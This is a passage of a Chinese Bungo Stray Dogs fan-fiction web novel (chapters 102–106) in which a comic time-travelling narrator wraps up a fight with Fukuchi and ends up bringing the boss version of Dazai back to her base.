果戈里也是充分发挥了这对招子的作用,看着我掌心里冒出来的白光,语气不知是感叹还是阴阳,“啊——从最一开始,我看到的「书」就已经不是本体了。不仅是我,就连费佳也被你们耍得团团转吧。” 要不怎么说你们两个能组CP呢,陀总明明没有出现,但却□□地活在果戈里的言语里。 如果有漫画框,他思考的背景里,应该有一个陀总半身像吧。 我不置可否,“我还没那么大能力,不过是某人计划当中的一环罢了。” “某人”的身份,不言而喻。 我发动秘技之仇恨转移。 “到了如此地步,幕后操盘手却连面都不愿露吗?” 条野采菊的声音萧瑟。 说实话,情况比果戈里还要惨兮兮。贤治野兽般的战斗直觉,本来就对他的“读心”带着某种程度的克制,再加上国木田麻麻的辅助和晶子紫啧的大砍刀制裁,他完全没有还手之力。 说到底,“采菊东南下,悠然见南山”,这个名字一听就不是战斗系的名字。 我抬头看了看楼顶那破碎的洞口。 嗯—— 恐怕不是“某人”不想出来,而是出不来吧? 中也对宰子的怨气,怎么着也攒了四五年,那是一时半会儿能发泄完的吗? 很显然不是。 不过,我完全没有替宰子辩解的意图。反正他自从当上首领之后,就没有再亲自出面做过什么事,大家也都习惯了。 我神秘一笑。 “那当然了,他和前代的风格完全不一样。您说对吧,森先生。”我眼睛一扫,看向了被几栋高楼间错遮掩的黑影。 看是看不到的,但半猜半感知的结论,却大概没错。 就像是先前在「龙彦之间」,我猜测宰子是怎么在极短时间内爬上港|黑顶楼的时候,就猜过爱丽丝的飞行能力。 当时,我用「人间失格」的存在否认了自己的猜测,但现在我知道了,那时候的宰子就已经失去了「人间失格」。 那一切,就都说得通了。 话都被戳破到了这个份儿上,老森头自然也就没了隐藏自己的必要,牵着爱丽丝的手走出了黑暗。 哈!被我诈出来吧。 有一说一,他的精神面貌看上去比主线森好一百倍! 没有黑眼圈、没有后移的发际线、连瞳孔里的光都比主线森更加明亮。 这难道就是——传说中,没有班味儿的森鸥外! 他的眼神都变清澈了! 这就是班味儿的毒性,听懂掌声。 但是,班味不会消失,只会加倍、加幂次地转移到了宰子的身上。 真是可悲可叹。 短暂为宰子掉两滴鳄鱼眼泪. 社长原本松弛下来的肩膀顿时紧绷起来,他看着“死而复生”的老森头,眼里没有一丝惊讶,只有了然。 对他来说,这才符合他对森鸥外的认知。 那个男人怎么可能轻易被背刺而死? “真是可怕啊,荒君。”老森头无奈地开口,“我以为我自己的隐藏毫无破绽,到底是哪里暴|露了我自己。” “哪里都没有,只是直觉。” 只是诈你而已。 谁知道没有班味儿的老森头这么“清纯”、这么容易上钩。 或者换一种说法,都已经IF线大结局了,按照江湖规矩,主线重要人物怎么都要出来露个脸的,对吧? 连陀总都在果戈里的漫画框背景里出现了。 老森头的表情空了一下,似乎完全没有预料到我的答案,摇摇头,“这可真是……出人意料。” 我就是当代鸣人,意外性No.1。 福地樱痴的视线只在老森头的身上快速扫过,对他来说,这个早就在港|黑权力斗争中落败的男人,从来就没被他放在眼里过。 “毫无逻辑的东西,不会生效。”福地樱痴的注意仍然紧紧地追随着在我身上,“就算是「书」,想要顺应其他残页上的逻辑,才能覆盖。就算是……你为什么能活下来?为什么能把「书」放在你的身体里?「书」应该是实体,而非能量体,不可能的、怎么可能?” “「书」需要逻辑,现实可不需要。”我不是在撰写故事,我也不会在「书」中,展示我这贫瘠的写剧本能力。 有的是剧本组互相套娃干活。 我感受了一下自己和世界意志之间的同化连接。 已经基本上到了要完全断开的地步。 这样最好,等到完全断开,我身上的异能力属性就会消失。我也就能毫无负担地戴上手环,出发返程。 虽然没有机会在搞到社畜安吾,但手环中能量爆棚,已经出乎我的预料了。 没有什么后顾之忧,我主打的就是一个随心所欲。 我一步步走下台阶,暗暗挥动的手指吹起了我的渐变头发,隐隐的血味在空气中弥漫。 我踮着脚蹲在福地樱痴面前,手肘压着膝盖,手掌撑着下巴,“都到了这一步了,你还不明白吗?从最一开始,我就不是被「书」创造出来的复制体,而是「荒霸吐」本身啊。” 第103章 “不可能!” 福地樱痴激烈地否认, 他的眼神仿佛永远都不会认输,“我比任何人都了解「荒霸吐」,我见过那个‘神器’本来的面目, 我亲眼见证了祂纯粹能量体被提取出来的过程!你不是——!” 哦吼。 也就是说, 是你们把「斗尖荒霸吐」人为分成了「斗尖」和「荒霸吐」,对吗? 人家作为异能力中转站在海底埋得好好的,和爱手艺一样, 完全没有干涉人类世界的意图。 然后你们把人家挖出来,还把人分裂成了两部分,然后又要给人家强行再找一个安全装置。 嗯——怎么说呢? 真是一言难尽的操作。 完全符合我对漫画中政|府的一切偏见。 “没有人告诉过你吗?要对力量、对‘神’,心存敬畏。” 我眼睛一下都不眨, 定定地抓着福地樱痴的视线。 都给我敬畏一点啊! 不要搞事! 好好活着不行吗? “‘神’?那种东西根本不存在, 只是力量到了极致的自满罢了。” 福地樱痴不吃我的洗脑包。 也是,人家毕竟是在大风大浪中走过来的,估计也见过不少自诩为神的神经病。 我承认我自己有时候很抽象,但距离神经病应该还有一段距离。 福地樱痴见我不说话,冷笑了一声, “怎么, 无法反驳?” “不,只是在奇怪——你明明知道这个道理, 为什么要仗着自己的‘力量’, 如‘神’一般,高高在上地去审判异能力的存亡呢?” 我摇了摇头, “没有神学信仰、也无神之名, 却行神之事, 那不是很奇怪吗?” 福地樱痴恍惚了一下, 似乎没有想到我会这样反驳他。 张着嘴, 一时间不知该如何开口。 “异能力不是因为你而产生的,也绝不会因为你而消失。” 只要现实当中总有新的“文豪”产生,那么这个世界就会以人们无法预测的方向,继续延续下去。 这里和咒回不同,它和三次元的现实微妙地联系在一起,形成了某种说不清道不明的共生……不,是寄生关系。 我暗暗在心里,把文野的名字勾了起来,标记为红名。 能够突破自身次元桎梏的世界,统统都是高危世界,需要重点关注! 我不再多说,只是站起身来,居高临下地俯视着福地樱痴。他张开嘴,大概是想再说什么来反驳我。 但很快,他就回神,完全意识到自己败者为寇的事实。 福地樱痴一向是个结果论者,不论有多少理念支撑、不论辩得有多具说服力,事实就是事实,失败就是失败。 再挣扎下去,就太失态了。 “世界有自己的选择……吗?” 他深深地叹了口气,不再辩白些什么。 不论我是不是「荒霸吐」,他那想要通过“异能中转站”来汇集、消除异能力的计划都不可能再成功。 若我是「荒霸吐」,那我的态度已经不能更明确;若我不是,那刚才被我毁灭的那把枪、那团被我吞噬能量,岂不正是说明,异能力会在“中转站”消失后,返回异能力者的身体吗? 甚至,连「书」都明显被我所掌控。自此之后,再没什么东西、什么力量能够超然地凌驾在所有异能之上,起到高于异能的作用。 所以,我是不是真正的「荒霸吐」对他而言,已经不重要了。 无论如何,他的理想都失去了可能。 所以,福地樱痴才会如此动摇、如此失神。 很快,早就收到社长消息的异能特务科派人赶来接手现场,我摆摆手,让警惕呲牙的敦敦退下。 不用干涉来人的行动。 其实,我还是稍微期待了一下的,异能特务科派来的究竟谁? 我探头—— 好吧,不是安吾,告辞。 我还真是一次也没有和他碰过面。 想想也是,福地樱痴、果戈里、条野采菊都不是什么省油的灯,战斗能力也各有所擅,异能特务科要是派安吾这样的技术情报人员来接手,那才是真的脑子有泡。 这个小分队的领头人—— 我瞳孔骤缩,差点一口盐汽水喷出来。 竟然是…… 立!原!道!造! 我了大艹,小立原你真是出息了! 我说你怎么没有出现过,原来你竟然考公上岸,不和野路子港|黑、背刺王猎犬玩儿了! 甚至可能身居高位。 接手「天人五衰」这么大的事,他竟然是负责人! 大结局全露脸定律果然名不虚传。 还有更绝的,你们猜这么着? 小立原带来的几个下属里,竟然有大仓烨子。 简直倒反天罡。 我一时无语凝噎,愣愣地看着小立原走到我面前、愣愣地看着他对我伸出了手。 “异能特务科,立原道造。” 哇哦,这两个词究竟是怎么放到一起去的? 我在心里默念着,逼格不能掉。他会走到我面前,显然是已经把如此风度翩翩的我当作了港|黑的现场负责人。 以社长——或是乱步联络时的说辞、以刚才我和中也同时出现在天空的景象,他们应该已经知道,这张脸区别于中也,代表着另外一人。 所以,小立原立场聪明地没有直接把“中原先生”这个名字叫出来。 “荒。” 我还是沿用了这个名字,眼瞅着和世界意志的联系就要完全断开,这个时候最忌讳给自己加人设戏。 或许是异能特务科自带的社畜属性,小立原和主线立原完全不同,脸上不仅没有稚嫩,甚至还有点沧桑,眼下是重重的黑眼圈。 一股浓烈的班味儿扑面而来。 异能特务科,果真名不虚传,连小立原的发际线都后移了啊,喂! “异能特务科的犯人出逃,给贵司带来的损失,烨子会代为统计。” 听听,这个“烨子”叫得多顺口。 小立原,真是出息了。 我有一种“吾家有儿初长成”的骄傲感。 他的话也很有直白,几乎是将交易摆到了台面上。 谁都知道,不论是采菊、福地樱痴还是果戈里,事实上还不能被称作“异能特务科的犯人”,也更谈不上“出逃”。 但,这是在港|黑的地盘,甚至就在港|黑大楼楼底。他们来的时候应该也注意到了,外围全是港|黑的人。 如果没有我的点头,他们不可能轻易把人带走。 刚才天空上发生的一幕太过震撼,小立原所代表的异能特务科此时,绝对不会愿意和我、和港|黑发生正面冲突。 说句猖狂的话,就刚才我在天空上的直观表现,到底是谁会有自信能战胜我? 所以,若是能各取所需,自然最好。 这里,小立原所说的“赔偿统计”,指的恐怕不仅仅是金钱。 “损失”这个词,原本就包含了实物损失、精神损失、名誉损失等各个方面。 我可没有替宰子在这里提条件、搞心眼儿的意图。 但,由异能特务科接手「天人五衰」是早就决定好的事。 我暗示过,宰子也默许了,否则他不会让我把情报泄给侦探社,也不会让我一个人下来主持大局。 旁边不是还有老森头吗,你们看他完全没有说话的意思,就能窥探宰子的态度。 要知道,异能特务科要接手的可不仅仅是这一场战斗的后果,「天人五衰」是国际通缉的恐|怖|分|子|组织。 如果不能接受审判,只用私刑,总让我心有不忒。 我也不担心他们的罪行审判,一来,我特意把侦探社卷进来,就是为了让他们把「天人五衰」的审判拉到明处来;二来,以福地樱痴的骄傲,也不会强行否认自己所犯下过的罪行。 从最一开始的人体实验,到后来的搅动风云,这些事只有被扒到阳光下,在程序正义的推动下,才能起到最好的震慑效果。 横滨的黑暗堆积已久,想要真正改变,总不是一蹴而就的。 我转头看了看身后褴褛的港|黑大楼—— 好在,大家都有共同的目标,总有一天是会变得更好的吧。 只不过,那就不是我要担心的了。 “那是自然。”我回过神来,给了小立原一个答案。 瞬间,他那紧绷的肩膀就松了下去,眼里的紧张缓和下来。 不知道还真以为我是什么魔鬼,让他和我说句话都害怕得不行。 “具体事项,也会有人和——烨子小姐对接。”我把活儿甩了出去,眼神扫到了老森头的身上。 要说周扒皮,谁比得上他啊。 我正思考着把他架到火上烤的可行性,胸口突然一阵强烈的紧绷。 一股熟悉的束缚感和拉扯感刺激牵制着我的身体和灵魂。 我也不多考虑了,屏住呼吸,迅速转身,用力拍着老森头的肩膀,给他比了个大拇指。 嗯,自己领会吧。 然后,我完全顾不上再多说什么,三步并两步地加速冲入了港|黑大楼。 要问我为什么着急? 当然因为没人比我更熟悉这股拉扯感,穿越失|禁体质亲测,这就是穿越的感觉! 应该是因为我和世界意志完全断裂,手环储能满格,返程程序自主启动了! 我绝对不能在众人面前消失,所以必须赶紧跑路。 说时迟那时快,我的背影大概还没有完全消失在众人的视线中,被丢入滚筒洗衣机里翻卷的感觉就袭击了我。 我直接一个失重,前扑到了基友面前。 是熟悉的鞋、是熟悉的基地、熟悉的我依然是光杆司令。 但是奇怪,这么狠狠一摔,我竟然一点也不疼。 我感觉自己有一肚子话要说,抬头却看到基友一副灵魂出窍的样子。 傻了? 这一秒里,我没有领会基友这个表情的含义。 但下一秒,我的身下,就发出了奇怪的呻吟。 “啊——好痛啊!” 啊哈哈哈哈,怎么回事Mamo的声音呢,我的错觉吧? “太过分了啊,荒君,一点也不怜香惜玉,嘤!” 我了个#%&*的 太宰治,你怎么跟过来的啊啊啊啊啊啊! 第104章 我是谁, 我在哪,我在干什么? 我怎么会在基地里看到首领宰子呢,一定是我的错觉吧, 啊哈哈哈哈哈—— “真讨厌, 要压在人家身上多久啊,荒君——” 这个娇羞的宰子一定不是首领宰! 我一时无法接受这个现实,直到基友一把揪起我的后领, 将我强行提了起来。 差点忘了,宰子是他推。 ……完蛋,我好像已经预见到我下降的地位了。 不要抛弃我啊,基友君。 “这就是‘那个’了, 对吧?”宰子手肘支起身体, 半坐在地上,极富暗示意味地看着我,甚至还悄悄wink了一下。 ……如果我不是我,我都会以为,自己和宰子有什么PY交易。 他在搞什么抽象? 我转头, 对上了基友的视线。 好家伙, 这是挑唆我俩? 倒是也说不上挑唆吧,大概只是单纯地想要做一个信息差, 尽可能地试探一下这个陌生的地方。 但说实话, 他之前不是也猜到“中转站”这个世界之外的地方了吗? 凭心而论,难道宰子是因为意外而被带到基地里来的吗? 呵, 我可不信。 “什么这个、那个的, ”我直接掐着嗓子往基友身上一倒, “哦, 亲爱的, 你可千万别误会。” 宰子:? 基友和我,不愧是多年搭档的好C友,我们俩卖CP也不是一天两天了,他是马上就get了我的意思,直接牵起了我的手,“怎么会呢,我亲爱的。我和你,就像是蛞蝓和青花鱼,中原中也和太宰治。” 宰子:?? “呕!不要突然说这么恶心的话题可以吗?”宰子捂着胸口干呕,“真是连上周的饭都要呕出来了。” 基友秉承着推谁就要迫害谁的理念,毫无间隙地接了一句,“怀孕了?” 宰子:??? 他甚少有这样表情空空,无语凝噎的时候。 不知是不是因为工作环境的缘故,首领宰远不如武侦宰骚气。 第一时间,他竟然没有做出有力的言语反击。 事实证明,做人不能太肝。 不然哪怕是首领宰这样的人,都会被榨干成这样的! 我趁着他没有反应过来的这个间隙,在他搞任何骚操作之前,我赶紧扶正自己的假发,幸好「书」的残力还有一部分留在我的身体里、幸好我也从来没有在这个地方化过妆。 宰子的愣神只有一瞬间,没有了港|黑的责任,首领宰心里压抑的武侦宰迅速冒头,永不OOC的人设早已刻入他的DNA。 他一蹬脚,原本就坐在地上的身体一伏,捂着自己的肚子,“是的,没错,我已经有了他的孩子,嘤——” 我:……? 宰子持续发起进攻,“我是来加入这个家,不是拆散这个家的。” 6。 宰子有没有OOC我不知道,但我好像要OOC了。 到了这一步,他竟然还是没有要停下来的意思,捻起兰花指,对着基友哼哼唧唧,左一句“愿意做小”,右一句“哥哥大量”的。 基友僵硬、石化,现在已经要裂开了啊。 眼神死。 “……你不会是被中也打出毛病来了吧?” 中也下手太狠,打到头了? “为了你,多少痛苦我都能承受!” 谁懂啊,宰子这一阵棒读,眼神里满是戏谑,仿佛是挑衅着期待我说出更有趣的话来。 简直让我进退两难,说与不说好像都不得劲。 算了,骚不过,我认输。 我于是强行转移话题,板着脸正经起来,“你究竟是怎么跟来的?” 宰子耸耸肩,盯着我,也不知道是要在我身上看出个什么所以然来。 我有点背后发凉。 不过,他终究没有多说别的,而是纵容了我生硬转移的话题,他指着我的手环,“事实证明,不仅仅是身体会吸收异能力,异能力也会吸引异能力者的身体。” 啊? “「人间失格」?” 我盯着手环表面那密密麻麻的刻纹,全部都是《人间失格》的文字。 他的意思是,因为手环储存着的「人间失格」一直在起效,而异能力和异能力者之间无法消失的联系,所以他才会被扯过来? “你不会是故意的吧?” 毕竟,在手环上做手脚的人是他,把手环设定成「人间失格」落点的也是他。 怎么说呢,我已经逐渐养成了遇事不决甩锅给宰的习惯。 “没想到荒君是这样想我的啊——真让人伤心。”宰子揪起袖子,擦了擦自己眼角不存在的眼泪,捧着心脏一副伤心欲绝的样子,“我这一片真心终究是错付了。” 我眉心一跳,突然觉得前路一片荒芜。 “真没有?”我眼神怀疑。 “负心汉,明明是你强行把人家带过来的。”他抱紧了自己,一副被包养的小百花样。 我包养他? 认真的? 虽然但是,宰子身上穿的衣服和我身上这个,完全就是同一款——毕竟我是在他衣柜里找的衣服。 他太瘦了。 殚精竭虑的后果非常直观地反应在他身上。 这就导致,好像我穿更合身。 我们俩好像真的没有什么奇妙关系。 “我有了你的孩子,你却不想认吗。呸,渣男!” 宰子指责我。 ……? 我,我刚才究竟给他打开了一扇什么样的大门? 搬起石头砸自己的脚在此刻具象化。 我看向旁边的基友,无声地求助。 这句话我该怎么回? 救救我,救救我。 “哼,争宠手段罢了。”基友直接挺胸,一副正宫娘娘的样子。 我恨不得抓住他的肩膀狠狠摇:完全没帮助,这是在火上浇油。基友啊基友,你是不是有哪里坏掉了啊。 我不在的时候,你究竟看了什么奇妙短视频? 你们正常一点,我害怕。 “咳——”我非常用力地清了清嗓子,口水又差点把自己呛住,“我绝对没有想着要把你拖过来。” “是啊,你没有这么想。”宰子拍了拍屁股上的灰,站了起来,语气一时间变得很难捉摸,“但谁让你要救我呢?” 我愣了一下。 “让我死掉不就好了吗,那样就不会这么麻烦了吧?”宰子歪头,像是一个寻求某种恶作剧的小孩子。 啊,这么说好像也没错。 宰子当时在港|黑大楼里连续两次强电的手段,本来也没给自己留活路。 我可没有在那个IF线世界里,表现过任何「反转术式」的特征。 没有表现过的东西、从未有线索的东西,就算是乱步也无法推理。 也许,我后来的行动确实不在宰子的计划内? 我抬眼,对上了他的眼睛。和原本那无光的空洞不同,大概是中也一顿狠揍,给他的“心灵之窗”上砸了个窟窿出来,所以光能照进去了? 他对我张开手臂,胸腹要害空门大开,压低的嗓音带着一点诱惑,“但现在的话,也完全来得及哦。” 我顿了两秒钟,才反应过来他说“来得及”是什么意思。 他是想说,我还来得及搞死他。 ……大哥,阳光一点做人吧,我明年还想评三好学生,把你送回去不行吗? 但话又说回来了,宰子在原时间线上应该也到了要死的时候了吧,这样的死宰还算是可以用来定位的锚点吗? 甚尔因为和惠惠的血缘关系,可以让他在我司能量充足的时候通勤,但宰子的话—— 我还真拿不定主意。 我还在这里纠结呢,旁边的基友就已经不知道从哪里拿来厚厚一沓不知道写着什么的文件纸,直接端到了宰子面前,让他伸手。 或许是因为从未被如此命令过——别说是当首领宰后,就是那之前他还是黑时宰、甚至是青时宰的时候,老森头给他派任务都是哄着的。 太宰·小公主·治,竟然真的伸出了手。 那至少有二十厘米厚的材料差点把肌无力的宰子压倒。 基友指了指旁边,“反正来都来了,那也别闲着了呗。” 我一扭头—— 等等,基友什么时候清理出了一个工位! 这是给安吾准备那个的吧? 别以为我没有看到,“坂口安吾”的名牌漏了个角在基友口袋旁边。 无赖组三人的吧唧挂在工位上,“异能特技科分部”的贴纸没撕干净——特技科? 基友眼疾手快,迅速地放了个中也手办挡住了贴纸上的字。 OI——基友什么时候又做了中也手办? ……等一下,不对劲,这个手办怎么有点眼熟? 我看向了自己的那张桌子。 NO——!!! 那是我的手办!!! 猫猫流泪头.jpg 基友,终究还是在他推和我之间,选择了他推。 然后又在自己工作,和把工作丢给他推之间,选择了后者。 食物链底层竟是我自己。 宰子拉起手办,中原·污浊状态·中也踩在白龙身上,知不知道这个死苹果特典手办的含金量。 好吧……其实是基友手作。 来自手工大佬的宠爱。 从今天起,我就不是专宠了,可恶啊—— 宰子用一种“看不出来你如此自恋”的眼神看着我。 有污浊纹身的中也……好像确实更像是之前的我。 很难解释,很难评。 我低下头,看着自己的手环——为了不轻易留下任何不该存在的世界通道,返程之后,手环内的格式化程序是会自己启动、消除记录的。 哪怕真是想把首领宰丢回去,也不是一时之功。 我捂脸,所以—— 认真的吗,我养首领宰? 我看着身上这不知道值多少大洋的首领宰外套。 养不起一点。 但,如果放宰子出去的话…… 他不会给我带回来几对“银手镯”做礼物吧? 九敏,我已经预感到了,未来生活的艰辛和黑暗。 这哪里是找来了个员工,分明是请回了个祖宗。 第105章 「书」出现在太宰治面前的那一天, 他刚刚推出了第一期《羞耻的中也》,享受着少有的趣味。 醉酒的中也实在是新奇,随便一拍, 就是高清□□黑历史。 他已经对明天即将到来的蛞蝓跳脚节目产生了期待, 心里却也不免好奇,酒真的有这么大的功效吗? 太宰治抬头,正看到了暗巷里亮着的灯。 “Bar Lupin?” 就像是瞌睡时送来的枕头。 鬼使神差的, 他走向了那个方向。 新月的晚上总是格外黑暗,太宰治不知被什么东西绊了一跤,给自己也摔出了一段黑历史。 彼时还颇有包袱的太宰治警惕看了看周围,仿佛周围只有一个黑历史见证者, 他就能马上要了对方的命一样。 好在, 这条巷子,似乎并没有多少来客。 他麻溜爬起来,摸黑找到了那个制造了他黑历史的罪魁祸首。 是一个没有任何标识的本子。 太宰治手指皮肤接触到它的瞬间,指腹上传来一阵被电流窜过的酥麻感,空无一物的书皮嗡动着, 直观的力量扯动了他那特殊的异能力。 他清晰地感觉到, 这个本子中,似乎有什么东西在吸引它。 或许是吸引着他的好奇, 又或许只是单纯地吸引着他的异能力。 太宰治得到了「书」。 直到后来很久, 他才意识到,自己的世界就是在他被「书」绊倒的那一刻, 走向了另外一条荒芜的岔路。 那一天, 他没有踏入Lupin, 也没有撞上该遇到的人, 错过了那条原本属于他的主线。 偶尔有那么几次, 太宰治也会询问自己,如果时间回溯、重来一次的话,会不会走进那个命运的酒吧。 他少有的无法给出一个明确的答案。 太宰治很难回答自己。 但至少有一部分的实用主义在推动着他,不论如何想,时间总是不可能回溯的。 他只是有些羡慕另一个自己,能够在一段旅途中,遇到一个未能预料到的、失控的后果。 即使那不算是一个Happy Ending。 但太宰治太无聊了。 不论是人生、还是世界,仿佛都能一眼看到结局。 「书」确实给他带来了一段奇妙的体验,但短暂的好奇满足,换来的却更加强烈的空虚。 所有的平行世界都毫无新意,所有的交错时空都与他所认知的世界别无二致。 ——无趣、无趣、无趣。 太宰治能够轻易看透人心、玩弄人性,每一个故事开头的第一个字,就仿佛连接着故事结尾的最后一个标点符号。 ——空虚、空虚、空虚。 不知是为了叛逆,还是单纯地想要避开一切在「书」上已经写好的故事,找一点没有被任何太宰治体验过的经历。 他要做一件所有平行时空的太宰治都没有做到的事;他要找一点,和所有太宰治都不一样的乐子。 他要让织田作之助活下去。 听起来并不是宏大不可及的愿望。 但在无数个平行世界里,太宰治都踏入了那个酒吧。织田作之助就像是太宰治命运中某个不以意志为转移的岔路,每一次都会由“死亡”将他推到另外一边。 太宰治们在不同的时间节点,做过无数种选择。 但每一个世界、每一种选择,最终都或早或晚地走向了同一个结局。 高度一致性的关键事件总算是让这唯一一个拥有了「书」的太宰治,看到了有意思的挑战。 就是要做一些别人做不到、别人无法想象的事才有意思,不是吗? 特别是,这个“别人”,正是其他世界的太宰治同位体。 有一种微妙的获胜感。 这种战胜自己的新奇感觉,给这个世界的他带来了长达几天的快乐。 就是他制定计划的那几天。 说起来讽刺的是,他是唯一一个没有在那天踏入Lupin的太宰治、是唯一一个不认识织田作之助的太宰治,却也是唯一一个真正做到了让织田作之助活下来的太宰治。 有时候他怀疑,他和织田作之助的命运只要产生交点,就会制造死亡。 他们俩的命运就像是一条冥河,织田作之助摒弃了过去作为杀手的“死亡人生”,想要迈向新生;而太宰治恰恰相反,他对身后走过的生存之路毫无兴趣,迫不及待地想要奔赴死亡。 结果呢,他们俩一起跨过了冥河般命运的交点,然后不该活的活了,不该死的死了。 这种极端又稳定的命运,激发出了太宰治强烈的兴趣。 就这样日思夜想不断揣测,太宰治对这个事实上从未见过的人,有了无与伦比的了解。渐渐地,这种特殊的关注就滋生出了其他的东西。 他仿佛真的经历了那无数条时间线上的人生,他仿佛真的和织田作之助产生了不存在的深厚友谊。 不知从什么时候起,他成功地欺骗了自己,将其他的人生也融入了自己的大脑里。 现实和虚幻的割裂感越发严重,在其他太宰治的世界线里,他看到的未来太多、体验的刺激太多,以至于他自己的现实,反而越来越无法引起任何波澜。 世界的荒芜让他对死亡的渴望达到了巅峰。 但短暂的渴望过后,他意识到,连死亡都是那么的无趣。 或许,他应该去看看那个开启了一切命运的源头,他应该去见一见织田作之助。 当然,相遇的交点一旦产生,那冥河般的命运,大概就会开始强烈地展示自己的存在、开始修正起该有的死亡未来。 没有关系,太宰治会在修正到来之前,终结掉自己。 总是需要一方的死亡来终结的,那为什么不是他呢? 太宰治这样日复一日地堆积着荒芜和空虚,等待着精神的枯竭。 ——“你有什么变态的自虐倾向吗?” 中原中也问出这个问题的时候,太宰治恍惚了一下。 事实上,他并没有故意虐待自己。 他的状态更像是……高||潮的次数太多,对快感的阈值提得太高了。 是的,他察觉到了「死屋之鼠」对横滨的渗透;是的,他察觉到了政|府内部的里应外合、暗流涌动;是的,他察觉到了福地樱痴那不切实际的理想。 是的,他察觉到了,这个世界会因为这种不切实际的力量走向毁灭和死亡。 他只是没有那么在乎。 「书」毁掉了原本的他。 直到有一天,已经完全摒弃了「书」、已经完全无法在「书」的任何文字中获得乐趣的太宰治,发现了一点小小的、不应该存在的变化。 文字,改变了。 这是这些年来第一次,也是唯一一次,「书」上已经写好的未来、已经决定好的命运发生了改变。 他甚至在某一段截取的片段里,看到了死去的织田作之助的名字。 人是不能第二次踏入同样冥河的。 唯一存在的命运交点,怎么会出现第二次呢? ——这可是那条最中心的、最稳定的平行世界线。 主线世界、中心世界。 有生以来头一次,太宰治怀疑自己的精神出了问题、他怀疑自己看到了幻觉。 于是他坐在首领的位置上,要求中也给了他一拳。 中也当时的表情真是…… 他估计已经确认了太宰治的抖M爱好。 太宰治得声明,他确实没有任何自虐倾向。 这个世界上,没有比他更怕疼的人了。 中也那个小矮子,拳头打人可真痛。 就这一拳,都没有把中也压抑的情绪全部发泄出来,也不知道憋了多久。 真可怜。 太宰治从未有过的活跃,他心里那股即将被熄灭的火重新热了起来。 是什么改变了未来? 是谁改变了「书」? 是只有这一条世界线改变了,还是有其他的世界也发生了变化? 他开始翻找过去看过的所有时间线,一段一段地翻。 长时间的控制心跳让他原本就油尽灯枯的身体素质进一步恶化,甚至到了要挂水输液的地步。 但,他的精神却从未有过的活跃、亢奋。 因为太宰治发现,不仅是中心世界线发生了变化,这条世界线甚至还衍生出一条原本并不存在的IF线。 太有意思了。 也就是说,那个造成了世界变化的“变数”,不仅做到的“改变”,而且还在中心世界里,凭空创造了一个新的世界,对吗? 荒芜的人生里,突然出现了一把火柴。 太宰治一根一根地将其划亮,借着火焰的微光,看到了一条被黑暗和迷雾包裹的未知。 对别人来说,未知是可怕、是恐惧;但对于太宰治来说,未知是趣味、是兴奋。 「书」页翻动、文字变化、能量波动。 他好像看到了一根不知道从何处而来的线条在「书」上流动,摸索着文字的方向,在世界线的某一个节点,增加了一个标点符号。 ——这最后定格的折线,是个补充符号。 那个“变数”在中心世界的某个位置,增加了一个补充符号。 祂要在这个时间节点做什么吗? 祂要在这个世界里,打什么补丁吗? 太宰治的心无可抑制地跳动着,像是重获新生一般。 太有意思了。 有生之年,他竟然看到了一个活着的线条直愣愣地出现在了「书」上,他竟然看到了这样荒诞却又合理的介入世界的方式。 他不禁想,大家都是太宰治,凭什么有意思的东西,都让那个世界的太宰治占完了——对方都已经体会过新意了,这次也该轮到他了。 来自一个想要趁“变数”脱离中心世界时强拉过来,但是失败了的首领宰的控诉。 失败。 竟然也是一种美妙的体验。 太宰治是个恶劣的人。 他拨动了那个挂在中心世界的线条,将补充符号,添加到了自己的世界里。 至于那个“变数”能不能在这种错位中存活、对方对中心世界有没有什么特定的目的,这些都不在太宰治的考虑之内。 既然是“特别的”那个,就一定能给他带来特别的体验。 如果不行,那就只能说明,所谓“变数”也没有那么特别。 如果不够有趣的话,那或死活毁,和他又有什么关系呢? 太宰治久违地穿上了首领正装,站在港|黑大楼的顶端,俯瞰着一成不变的横滨,享受着许久不能体验过的未知和期待,等待着补充符号起效的那个瞬间。 第106章 宰子的工作状态…… 意外的稳定? 认真地说, 他的主观能动性,比我强多了。 对这里的兴趣也比我激烈,我还需要像个老妈子一样把他的电源, 督促他睡觉。 甚至, 宰子还会利用自己的脸蛋优势,在那里求求再研究五分钟。 ……倒反天罡! 我被卷到了。 这难道就是传说中的,天选牛马体质? 安吾的牛马在于他那“只要不下班就不会上班”的精神状态, 宰子就不一样了,他的牛马之处在于这反客为主。 主打的就是一个公司是我家,发展靠大家。 倒逼老板努力。 一连半个月,他一点摸鱼的迹象都没有。 说真的, 如果这是安吾, 我只会欣慰暗爽;但这是个宰,我就有点害怕了。 众所周知,一个好宰,只有在搞事的时候,才不会摸鱼。 我暗戳戳地和基友背后讨论。 看上去如此安分的宰子, 不会是在寻摸着给我憋个大的吧? 即使不憋大的, 再这么卷下去,我也遭不住了。 为什么他一点都不着急定位自己的世界, 我都考虑过要用「书」来做锚点, 赶紧把他丢回去了。 “阿拉,你不知道吗?不同的「书」的表现力, 都是相同、甚至是流动。难道你没有感觉到, 自己体内残留的「书」的力量, 在使用之后, 也能缓慢恢复?那是因为它本来就和其他的「书」之间有微妙联系。” 宰子靠在椅背上, 手里玩弄着从中也手办上抠下来的帽子,“用「书」来做通道,连接的世界究竟是哪一个,可没有保障。” 真是请神容易送神难。 首领宰,一款不论到哪个世界,都将会成为灾难的宰。 “当然啦,成功的概率也不是没有……我也对‘运气’这种东西很好奇呢,怎么样,要不要赌一赌自己的运气?” 首领宰一笑,谁的生死都难料。 啊,脑仁疼。 我要是运气好的话,就不会有过去几百章的故事了。 可恶,明明把工作都分了出去,为什么我的精神反而日渐衰弱。 手环中储存的能量确实非常丰厚,除了日常的维系,还有了富余能够做一下其他尝试。 比如推进一下能量的可循环性什么的。 毕竟,能量再多,「书」的流动补充性再好,也必然会有耗尽的一天。 总不能坐吃山空吧? 我的想法比较简单,最初在咒回世界“永动机”构想一直都没有消失。 虽然最终没能带回来什么咒灵,但我自己当过宿傩,见过诅咒的发源,对其进化、转化的方式都非常了解。 能不能总结出理论且不说,实践肯定是没问题的。 「书」的创造属性也给了我把其他力量捏成诅咒的可能性。 收集各种世界的负面能量转化,不失为一种办法。 我也尝试实践过,确实有几分效果。 但,很难实现全自动化。 无论如何,转化都需要一个介质——换而言之,诅咒最终会咒灵。 创造咒灵啊…… 我一下就怂了。 咒灵这种东西,负面集合体,创造出来谁知道会是个什么鬼样子。 万一失控了呢,万一异化了呢? 我也不是第一次当小丑了,在这方面还是谨慎一点好。 所以至少到目前为止,我都只是用我自己的身体来进行转化。 蚊子再小也是肉。 基友的想法站在我这个巨人的肩膀上,和宰子不谋而合。 